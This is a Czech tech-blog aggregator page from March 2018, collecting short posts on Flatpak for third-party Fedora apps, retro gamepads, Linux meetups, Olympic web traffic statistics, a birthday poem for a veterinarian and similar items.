Roland Rubix 44 – externí zvuková karta do USB s čipy TI - Burr-Brown - PCM1690 (DAC) a PCM4204 (ADC)

Herní ovladače počátku 90. let

Před dvaceti pěti lety vzniklo něco, co předurčilo podobu budoucích herních ovladačů, včetně těch dnešních (jako třeba DualShock pro Sony PlayStation 4). Pojďme se podívat na dva významné gamepady té doby – Gravis PC GamePad a ovladač k herní konsoli Nintendo SNES (resp. Super Famicom).

Nintendo SNES a ovladač Super Famicom

Základní rozložení – čtyř-směrový ovladač vlevo a čtyři tlačítka vpravo – se od té doby drží jako nepsaný standard, jen se přidávají případná další tlačítka a funkce.

Dezinfikujte adresní prostor

březen
31
Jozef Mlich
Mám ještě spoustu poznámek z devconfu. Byl jsem na přednášce o Kernel Address sanitizeru a konečně se dozvěděl něco málo o tom jak to funguje. Přemýšlel jsem jak by se to asi přeložilo do češtiny.. Když se přistoupí k platné paměti, tak je všechno v pohodě. Když se ale přistoupí k nealokované paměti, tak je … Continue reading "Dezinfikujte adresní prostor"

Proč používám na aplikace třetích stran Flatpak

Důvodů, proč provozovat aplikace ve Flatpaku, je víc. Někdo chce mít nejnovější verze aplikací co nejdříve. Pro mě jako uživatele Fedory, která si v tomto vede docela dobře, není toto tak velká motivace. Někdo chce aplikace provozovat bezpečněji. Já ale aplikacím v repozitářích Fedory docela věřím a ani sandbox ve Flatpaku není zatím tolik vynucovaný, aby nabízel neprůstřelné bezpečnostní řešení.

Kde má ale pro mě Flatpak opravdu velký přínos oproti klasickým balíčkům jsou aplikace třetích stran. Obvykle totiž používám vývojové verze Fedory. Na pracovním počítači přecházím na novější verzi chvíli po oddělení od Rawhidu a dlouho před betou a na soukromém notebooku mám dokonce Rawhide. V obou případech nemám zásadní problémy s nestabilitou a to i u aplikací. Nicméně tak úplně to neplatí pro aplikace třetích stran. Jejich vývojáři nějak úzce nesledují vývoj distribucí a i když často bundlují, co se dá, aby se vyhnuli problémům s kompatibilitou, dost často se jejich aplikace rozbíjejí.

Dřív jsem používal klient Spotify jako balíček z repozitáře Negativo17. Po upgradu na Fedoru 27 jsem zjistil, že nefunguje. Věřím tomu, že správce onoho balíčku problém brzo vyřešil, ale já neměl čas řešit, co se rozbilo, a zároveň jsem nechtěl být bez Spotify. Nainstaloval jsem tedy Spotify z Flathubu a od té doby jsem neměl problém.

Pokud používáte Rawhide nebo rané vývojové verze Fedory, máte často problémy s multimediální podporou, protože správci RPMFusion často nestíhají držet krok a jsou rozbité závislosti u pluginů GStreameru nebo VLC. Dnes používám VLC a GNOME MPV z Flathubu a problémy s multimediální podporou mi to definitivně vyřešilo.

Posledním příkladem, který mám, je Telegram. Donedávna jsem používal oficiální verzi, která není poskytovaná ani jako balíček. Musíte si stáhnout archiv, rozbalit ho do domovského adresáře, spustit binárku, která vytvoří .desktop soubor… na rok 2018 to není příliš elegantní. Když to ale uděláte, tak prostě funguje… dokud se to tedy nerozbije. Upgradoval jsem na Fedoru 28 a Telegramu najednou trvalo hrozně dlouho se spustit. Když jsem se podíval do logů, zjistil jsem, že to visí na nějaké chybě s font configem, čekalo to, až se to vytimoutuje, a potom se tom konečně spustilo. To klidně trvalo minutu, což je u spouštění aplikace poněkud hodně. Neměl jsem moc čas řešit, kde je problém. Nainstalovat jsem Telegram pro Flatpak a bylo po problému.

V čem tkví kouzlo Flatpaku? Izoluje aplikace od zbytku systému nejen ve smyslu toho, kam můžou sahat, ale také ve smyslu běhového prostředí. Aplikace závisí na běhovém prostředí, které si autor vybere a které nezávisí na systému. Díky tomu nejsou aplikace závislé na distribuci a nejsou tedy ani ovlivněny změnami v komponentách v systému. Dokážou tak běžet dlouhodobě spolehlivě i na Rawhidu, který je bleeding edge rolling release a tudíž představuje nekonečný přísun změn. V rámci repozitářů se tyto změny hlídají ještě dobře, rozmáhá se automatické testování a zodpovědnost správců balíčků je se změnami pracovat. U aplikací třetích stran už je to výrazně komplikovanější.

Když jsem začal používat Linux, razila se politika, že se k určitému datu zmrazí repozitáře a už se vydávají jenom opravy chyb, aby se distribuce odladila jako celek a nové verze nic nerozbíjely. Upstream a třetí strany se měly ideálně přizpůsobit jejich kadenci vydávání. Ale to se nikdy nepovedlo. Za prvé žádná distribuce se nestala natolik dominantní, aby zastínila ostatní a všichni se sjednotili na ní, a za druhé nikdo nepřinutí tisíce projektů, aby se sjednotily na podobné kadenci vydávání. Změnilo se i očekávání uživatelů, kteří chtějí nové verze aplikací co nejdříve, nečekat například na novou verzi oblíbeného hudebního přehrávače, až vyjde nová verze celé distribuce.

Flatpak, kde si tvůrce aplikace může zvolit, v jakém prostředí aplikace běží, bez ohledu na distribuci, na které běží, umožňuje tvůrcům odvázat se od konkrétních distribucí a jejich verzí, vydávat nové verze, kdy uznají za vhodné, a testovat proti jednomu běhovému prostředí. A musím říct, že minimálně u aplikací třetích stran to začíná přinášet ovoce.

 

MILAN JARIŠ MVDr. FILIPU UHROVI – K 80. NAROZENINÁM

MILAN JARIŠ
MVDr. FILIPU UHROVI – K 80. NAROZENINÁM

Šel doktor Uher do nebe,
na zádech křížků ke stu.
Šel doktor Uher do nebe
– za odměnu či z trestu?

A tam už v sále každý kout
přeplněn, plno duší,
tribunál vpředu, zkrátka soud
jak patří se a sluší.

A svatý Petr zkraje hned
měl za žalobu slovo:
“Očistec,” říká, “pět set let
a potom určí další sled
chování hříšníkovo.

Hřešil prý přímo neskromně:
nebyla žádná jista,
pokud nebyla na stromě,
nu, zkrátka, kavalerista!”

Usmál se Pán Bůh: “Vždyť já vím.
Svědectví starých dědků!
Nehřeší jen, kdo nemá čím!
Pozval jsem též pár svědků.”

A pokynul a celý dav
už pochoduje síní.
Kůň, kráva, pes a taky páv
býk, medvěd i pár sviní.

Zlá lvice Asta je tu též
zestárlá, skoro bílá.
Snad vzpomněla si na manéž,
že zuby vycenila.

Dí Petr: “Svatí, přesvatí,
tohleto nezdá se mi.
Svědectví němých neplatí.
A tihle byli němí.”

Usmál se Pán Bůh laskavě:
“K čemu tu třeba řečí?
Jen, Petříčku, nech na hlavě,
ti němí dobře svědčí.

Říkají: Vždycky pomáhal
a rozuměl nám němým.
A nikdy neřek: nejdu dál,
anebo: nechce se mi.

Pojď, hříšníku, a usedni
mi po pravici směle.
Pomáhals tvorům, pohlédni
teď ve tvář stvořitele!”

MacBook Pro a lanko na zamknutí notebooku

březen
19
Zdenek Burda
Poprvé za posledních deset potřebuji zabezpečit notebook proti odnesení případným nenechavcem. Bohužel MacBook Pro 13 (Retina, Early-2015) nemá otvor v šasí pro zámek. Chvilka hledání na google a narazil jsem na “MACLOCKS MacBook Pro Retina 13 Bracket (MBPR13BRWEDGE)”, dá se koupit i v ČR na vmshop.cz.

Jak zjistit hodnotu Steam účtu

Pokud máte knihovnu her na Steamu, možná Vás napadla otázka, jakou má Váš účet hodnotu? Krom hodnoty sběratelské, kterou lze

Příspěvek Jak zjistit hodnotu Steam účtu pochází z Spajk.cz

GPS tracker LK208

březen
14
Zdenek Burda
LK208 je levný (koupen za 850 Kč na ebay) gps tracker s dlouhou výdrží, údajně by v standby režimu měl vydržet až 60 dní. Proto je v něm použita 5000mAh baterka a je tedy trošku rozměrnější a těžší. Trackery s podobnou baterií mívají často ještě trošku větší krabičku a v ní navíc magnety určené pro …

Pozvánka na 150. sraz OpenAlt - Praha

březen
14
Openalt.org

Kulatý OpenAlt sraz v Praze oslavíme klasicky: u limonády a piva! Přijďte si posedět, dát si dobré jídlo a vybrat z mnoha piv  do restaurace Kulový blesk, který najdete v centru Prahy nedaleko metra I. P. Pavlova na adrese Sokolská 13, Praha 2. Sraz se koná ve čtvrtek 22. března a začínáme v 18:00. Heslo: OpenAlt.

Vezměte s sebou svoje hračky!

Dnes 14.3.2018 zemřel Stephen Hawking, nejslavnější fyzik součastnosti

A zrovna v den, kdy se narodil Albert Einstein (roku 1879), jak příz-n/r-ačné. https://cs.wikipedia.org/wiki/Albert_Einstein https://cs.wikipedia.org/wiki/Stephen_Hawking

A Confederation of Industry of the Czech Republic and SPIR's position on European Commission initiative on platform to business relationship

Pozice SPIR a Svazu průmyslu a dopravy ČR k připravované legislativní úpravě P2B vztahů Evropskou komisí tereza.tumova@… Út, 03/13/2018 - 20:10

Evropská komise připravuje novou legislativní úpravu, která má regulovat vztahy mezi online platformami a podniky, jejichž obchod platformy zprostředkovávají (tzv. P2B vztahy).

SPIR se stejně jako dalších 18 národních i zahraničních organizací domnívá, že nová právní úprava není třeba a dosavadní právní rámec je dostačující. Z toho důvodu se SPIR připojil ke společnému dopisu, který apeluje na Evropskou komisi, aby svůj přístup přehodnotila a nezatížila digitální sektor další neodůvodněnou regulací.

Dopis (v angličtině) naleznete pod článkem.

GNOME 3.28 release party

Příští týden vychází GNOME 3.28 a tak jsme se rozhodli po delší době zorganizovat další Linux Desktop Meetup, v rámci kterého uděláme několik přednášek o novinkách v tomto vydání a potom ho společně oslavíme.

Místo: studentský klub ve Starém pivovaru v areálu FIT VUT na ulici Božetěchova
Čas: 18:00, středa 14.3.

Program:
Felipe Borges – nová aplikace GNOME Usage a novinky v GNOME Boxes
Debarshi Ray – Novinky v GNOME Usage
Carlos Soriano – Cesta ke Gitlabu a změny pro vývojáře
Jan Grulich – Sdílení obrazovky na Waylandu pomocí PipeWire

Přednášky jsou přímo od vývojářů, který se na vývoji daných věcí podíleli. Do programu může ještě něco přibýt. Jedná se o setkání s neformální atmosférou, takže se program mění podle potřeb účastníků. K dispozici bude taky občerstvení v podobě jídla a pití. Po přednáškách se pak ještě přesuneme na pokec a pivo do nějakého blízkého podniku.

Pokud budete mít čas, dojděte 😉

Olympijské hry přilákaly na internet téměř půl milionu uživatelů

Olympijské hry přilákaly na internet téměř půl milionu uživatelů tereza.tumova@… Út, 03/06/2018 - 10:22

XXIII. zimní olympijské hry, které proběhly v únoru v Jižní Koreji, přilákaly k návštěvě internetu téměř 500 tisíc nových uživatelů v kategorii Sport na všech zařízeních. V průběhu olympiády (9. – 25. února) dosáhla návštěvnost sportovních webů v průměru více než 1,57 milionu uživatelů. Nejvíce uživatelů v průběhu ZOH ovšem sledovalo bravurní a překvapivou výhru Ester Ledecké v superobřím slalomu. Tento den zaznamenala kategorie Sport rekordních 1,88 milionu uživatelů ze všech zařízení, tedy asi o 800 tisíc RU více než dosahovala průměrná únorová návštěvnost této kategorie mimo olympiádu.

Kategorie Sport dosáhla v únoru nejvyššího nárůstu počtu uživatelů, a to ze všech zařízení. Nárůst počtu uživatelů navštěvujících sportovní weby z PC činil více než 27 %, z mobilních telefonů více než 42 %, u tabletů to byla téměř polovina. Zvýšený zájem o tuto kategorií byl způsoben především samotnou olympiádou; vliv na zvýšení návštěvnosti mohl mít také poměrně velký časový posun v Koreji, což znamenalo, že by lidé museli sledovat přímé přenosy v TV pozdě v noci nebo hodně brzy ráno, a tak mnoho z nich zjišťovalo zajímavé informace týkající se českých úspěchů až druhý den na internetu.

Kromě „vrcholu“ olympijských her, kterou byla zlatá medaile E. Ledecké, byla vysoká návštěvnost zaznamenána rovněž ve středu 21. února, tedy v den, kdy český hokejový tým hrál s USA čtvrtfinále (1,84 milionu RU), a dále v pátek 23. února, kdy probíhal semifinálový zápas s Ruskem (1,8 milionu RU). Čtvrtým nejsledovanějším dnem v případě kategorie Sport byla sobota 26. ledna, kdy Ledecká získala druhou zlatou medaili.  

Pokud bychom rozdělili návštěvnost kategorie Sport mezi jednotlivá zařízení, tak v případě PC měl nejvyšší sledovanost čtvrtfinálový hokejový zápas Česko vs. USA (1,23 milionu RU) a u mobilních zařízení to byl superobří slalom 17. února. Z mobilních telefonů navštívil v tento den sportovní weby 1 milion RU a z tabletů 227 tisíc RU.

 

Tab. 1. Výsledky měření návštěvnosti internetu na jednotlivých zařízeních – výsledky za leden a únor 2018.

Počítače

Leden

 

Únor

Absolutní
změna

Relativní změna

Reální uživatelé (RU)

6 808 499

6 810 696

2 197

0,03%

Zhlédnuté stránky (PV)

17 719 671 184

15 483 361 970

-2 236 309 214

-12,62%

Reální uživatelé (RU) – PC doma

6 674 701

6 679 763

5 062

0,08%

Zhlédnuté stránky (PV) – PC doma

13 771 415 979

11 838 869 595

-1 932 546 384

-14,03%

Reální uživatelé (RU) – PC v práci

1 890 177

1 892 080

1 903

0,10%

Zhlédnuté stránky (PV) – PC v práci

3 948 255 205

3 644 492 374

-303 762 831

-7,69%

Mobilní telefony

Leden

 

Únor

Absolutní
změna

Relativní změna

Reální uživatelé (RU)

3 785 596

3 818 991

33 395

0,88%

Zhlédnuté stránky (PV)

2 219 171 935

2 034 981 191

-184 190 744

-8,30%

Tablety

Leden

 

Únor

Absolutní
změna

Relativní změna

Reální uživatelé (RU)

1 713 112

1 707 532

-5 580

-0,33%

Zhlédnuté stránky (PV)

365 814 857

338 579 023

-27 235 834

-7,45%

Zdroj: NetMonitor, leden a únor 2018.

Představili jsme vpsAdminOS, systém pro provoz kontejnerů

březen
06
vpsFree.cz

O víkendu jsme byli na InstallFestu, kde jsme ukazovali svůj rozpracovaný projekt vpsAdminOS.

O víkendu proběhl desátý InstallFest, na kterém jsme nemohli chybět. Měli jsme stánek, vařili jsme na něm výbornou kávu a povídali jsme si s návštěvníky o našem projektu vpsAdminOS. Jde o malý linuxový operační systém založený na NixOS, který slouží jako virtualizační platforma pro virtuální servery v kontejnerech.

Zatím se ještě intenzivně vyvíjí a budeme jen integrovat do vpsAdminu, během tří čtyř měsíců bychom jej měli začít experimentálně nasazovat a postupně s ním chceme nahradit upadající OpenVZ. Pavel Šnajdr měl na toto téma také krátkou přednášku, kterou si díky skvělé práci AVC SH můžete už teď pustit. K dispozici je i prezentace z přednášky [PDF].